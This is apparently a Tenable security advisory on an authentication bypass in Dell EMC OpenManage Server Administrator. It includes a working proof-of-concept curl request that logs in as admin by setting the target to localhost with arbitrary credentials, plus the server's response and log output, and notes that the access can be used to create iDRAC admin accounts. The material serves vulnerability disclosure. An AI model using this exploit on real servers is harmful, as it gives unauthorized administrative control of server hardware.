When the OpenManage Server Administrator (OMSA) Web Server and Remote Enablement components are installed on a Dell EMC device and the Managed System Login feature is enabled (disabled by default in v9.5.0), an unauthenticated remote attacker can login to OMSA as admin without knowing a correct OS username and password on that system.
When the Managed System Login feature is enabled, the OMSA web server presents a Managed System Login page. In this case, the web server can be used to connect to a remote node/system. It takes the IP/hostname of the remote node, a username and the password and makes an HTTPS WS-Management (i.e., WinRM) connection to the Remote Enablement component on the remote node in order to login to and manage the node.
If the IP/hostname of the remote node is set to localhost, the web server makes a WS-Management connection to the Remote Enablement component on the same host on which the web server is running. It's been observed that any user name and password would work.
Proof of Concept
To perform the authentication bypass, the attacker does the following:
- Use a web browser to fetch https://
- Switch to the Manage System Login page (by clicking on the Manage Remote Node link)
- Use localhost in the Hostname / IP address field
- Specify any username (i.e., AAAA) in the Username field
- Specify any password (i.e., BBBB) in the Password field
- Check the "Ignore certificate warnings" check box
- Hit the Submit button
The following CURL command shows a successful OMSA login without knowing a correct username and password, as the response is an HTTP redirect to OMSAStart as opposed to a login page (i.e., omalogin.html).
curl -ki -d 'manuallogin=true&targetmachine=localhost&user=AAAA&password=BBBB&application=omsa&ignorecertificate=1' 'https://<omsa_webserver>:1311/LoginServlet?flag=true&managedws=false' HTTP/1.1 302 Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Set-Cookie: JSESSIONID=E765A274F3CAD6740E2604D5C9276D17;Path=/4A6A8DFC482BD64D;secure; HttpOnly Location: /4A6A8DFC482BD64D/OMSAStart?mode=omsa&vid=4A6A8DFC482BD64D vary: accept-encoding Content-Length: 0
And the log shows more details about the successful authentication bypass login:
2020-11-17 22:21:48.463 loginUser.OMAHttpServlet, sUserName=AAAA 2020-11-17 22:21:48.463 CharConverter, added charset while getting bytestream UTF-8 2020-11-17 22:21:48.463 CharConverter, added charset while getting bytestream UTF-8 2020-11-17 22:21:48.463 CharConverter, added charset while getting bytestream UTF-8 2020-11-17 22:21:48.479 value of on mean AD auth, slocalLogin=null 2020-11-17 22:21:48.479 true for login via login page, sManualLogin=true 2020-11-17 22:21:48.479 HttpServlet: login user:value of ignorecertificate=true 2020-11-17 22:21:48.479 HttpServlet: login user:value of hostname=localhost 2020-11-17 22:21:48.495 HttpServlet: login user: Port is not passed - IPV4 Taking default 2020-11-17 22:21:48.495 HttpServlet: EnableDWS pref setting is===true 2020-11-17 22:21:48.495 OMAWPUtil.generateVID:0643A39C06A46299 2020-11-17 22:21:48.495 OMAWPUtil.currentVID:0643A39C06A46299 2020-11-17 22:21:48.557 sXML of getwsmanclient:<OMA><WSManErrorCode>0</WSManErrorCode><WSManStatus>0</WSManStatus><ResponseCode>200</ResponseCode><IdentifyResponse>http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd</IdentifyResponse></OMA> [...] 2020-11-17 22:21:48.620 OMAHttpServlet.loginUser: sending parameters to getuserrightsonly, domain= user=AAAA program=omsa localLogin=TRUE computerName=localhost DWS=Research 2020-11-17 22:21:48.620 OMAWPUtil.sendCmdtoDA - Target Machine :null 2020-11-17 22:21:48.620 OMAWPUtil.sendCmdtoDA - User name :null 2020-11-17 22:21:48.651 OMAWPUtil.sendCmdtoDA - Return Value :<SMStatus>0</SMStatus><WSManErrorCode>0</WSManErrorCode><WSManStatus>0</WSManStatus><ResponseCode>200</ResponseCode><ResultCode>0</ResultCode><InvokeResponse><OMAUserRights><UserRightsMask>262151</UserRightsMask><domainUser>AAAA</domainUser></OMAUserRights><SMStatus>0</SMStatus></InvokeResponse> [...] 2020-11-17 22:21:49.354 OMAHttpServlet.loginUser: AAAA:7:4
Under the hood, a getwsmanclient command was sent to login to the remote node. Because the IP/hostname of the remote node was set to localhost, the getwsmanclient command was sent to the local host and it was successful (WSManStatus = 0) even an invalid username and password were used.
Then a getuserrightsonly command was sent to get the user rights for the specified user account (AAAA). That command was also successful (WSManStatus = 0), and the account has user rights 7, which is the highest.
After logging in without knowing a correct username and password, the attacker can perform all operations designed in OMSA. For example, s/he can add an administrative user for the Integrated Dell Remote Access Controller (iDRAC) on the Dell server. The attacker can then login to iDRAC with administrative privileges.
All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.
Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.
For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.
If you have questions or corrections about this advisory, please email [email protected]